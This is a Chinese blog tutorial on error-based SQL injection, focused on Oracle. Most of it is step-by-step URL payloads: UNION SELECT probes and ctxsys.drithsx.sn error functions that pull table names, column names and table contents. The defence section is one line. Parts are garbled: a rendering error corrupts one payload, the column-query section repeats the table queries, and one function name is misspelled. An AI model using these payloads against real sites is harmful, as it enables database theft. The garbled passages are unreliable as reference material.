Oracle数据库--报错注入

文章详细介绍了Oracle的常用语法,如利用Dual表进行查询,以及如何通过ROWNUM实现LIMIT效果。同时,它深入讲解了报错注入的原理和不同数据库(MySQL,MSSQL,Oracle)中的实现,以及Oracle中的特定函数如CTXSYS.DRITHSX.SN。此外,文中还阐述了SQL注入的检测步骤,并提出了防御SQL注入的方法,如过滤危险字符。
摘要由CSDN通过智能技术生成

1.Oracle的常用语法(针对渗透的基本语法)

Dual表
Oracle查询语句的时候后面也必须带上表名称,不能像mysql和mssql一样直接select 1,2,3。但是Oracle存在着系统的表Dual,可以直接 select 1,2,3 from Dual

查询表名
select table_name from all_tables 查询出所有的表
select table_name from user_tables 查询出当前用户的表

查询字段
select table_name from all_tables 查询出所有的表
select table_name from user_tables 查询出当前用户的表

利用rownum实现limit效果
SELECT username FROM (SELECT ROWNUM r, username FROM all_users) WHERE r=1
利用子查询和别名,将数据的编号固定住,这样修改r的值即可取出对应的第几条数据。r=1取第一条数据,r=2取第二条数据。

CTXSYS.DRITHSX.SN函数
CTXSYS.DRITHSX.SN(user,(select banner from vKaTeX parse error: Expected group after '_' at position 150: …nner from sys.v_̲version where rownum=1))— 查询数据库版本

2.报错注入的原理

SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。报错注入在各数据库中都存在!

a.MYSQL报错注入常用函数

1.concat()函数
concat(str1, str2,)将多个字符串连接成一个字符串。
2.extractvalue()函数
extractvalue()函数是指使用xpath符号从xml字符串中提取值
使用形式为extractvalue(xml_target,XPath_string)
3.updatexml()函数
updatexml(目标xml文件,xml文档路径,更新内容)

在我的“SQL注入大乱炖”中HEAD注入使用的就是报错注入
b.MSSQL(SQL SEVER)报错注入常用函数

1.convert() 函数是把日期转换为新数据类型的通用函数。
 convert(int,db_name()),含义是将第二个参数的值转换成第一个参数的int类型。利用MSSQL在转换类型的时候就出错,来爆数据库信息。
2.quotename() 函数默认在要处理的参数左右加上两个中括号,起到分隔符的作用,避免出现sql关键字异常。
 quotename(name),给查询出的多个表名、列名加入中括号,或者其他符号为分隔符,进行分割,可使SQL注入结果更清晰。
3.for xml path(’’)提供查询返回的结果为xml格式,此时返回的相当于一个字符串。
 将查询到的数据,通过xml进行显示,path指定xml元素结点(行节点),该语句可以将查询到的所有数据通过XML进行显示。
4.stuff()函数将表中列的内容横向输出。
 stuff(param1, startIndex, length, param2),将param1中自startIndex(SQL中都是从1开始,而非0)起,删除length个字符,然后用param2替换删掉的字符。

c.ORACLE报错注入常用函数

CTXSYS.DRITHSX.SN函数
CTXSYS.DRITHSX.SN(user,(SQL查询语句))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

3.不同数据库实现limit

limit 是MYsql中独有的功能,对数据进行分页输出

a.MSSQL使用 TOP
例如:

SELECT TOP 1 * FROM 表名 ORDER BY 列名 desc
SELECT TOP N * FROM 表名 ORDER BY 列名 desc

升序是SC,降序是DESC

b.ORACLE使用rownum
例如:

SELECT username FROM (SELECT ROWNUM r, username FROM all_users) WHERE r=1

利用子查询和别名,将数据的编号固定住,这样修改r的值即可取出对应的第几条数据。r=1取第一条数据,r=2取第二条数据。

4.注入步骤

a.判断是否存在注入

select *from news where id='1' and 1=1/1=2 --s1 

b.判断字段数

select *from news where id='1' order by 1 --s2

递增字段总数直至页面报错
c.判断显错位
为了更加严谨,填充位用null,MYSQL中使用数字填充

select *from news where id='1' union select null,null,null from dual --s2

dual 是Oracle库中特有的一个单行单列的虚拟表,Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的Select语句块中。
使用数字或者是字符替换null来判断字段类型。
d.查表名
这里不需要像SQL注入按照库.表.字段的查看字段内容。Oracle中弱化了库的概念,用户被强化,即:通俗的讲一个用户一个库

?id=1' union all select null,null,to_nclob(table_name) from user_tables-- s3

no_nclob(table_name)是将table_name转变为二进制
使用报错函数的方法:

?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) -- s4

e.查字段名

--常规方法
?id=1\' union all select null,null,to_nclob(column_name) from user_tab_columns-- s5
(这里的\是为了不让它和下一个语句的单引号闭合)
--报错函数
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1)) -- s6

f.查看字段内容

--常规方法
?id=1\' union all select null,null,to_nclob(字段名) from ADMIN-- s7
(这里的\是为了不让它和下一个语句的单引号闭合)
--报错函数
?id=1' and 1=ctxsys.drithsx.sn(1,(select 字段名 from 表名)) -- s8

5.防御方法

a.过滤掉危险字符和函数 或对其进行编码

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值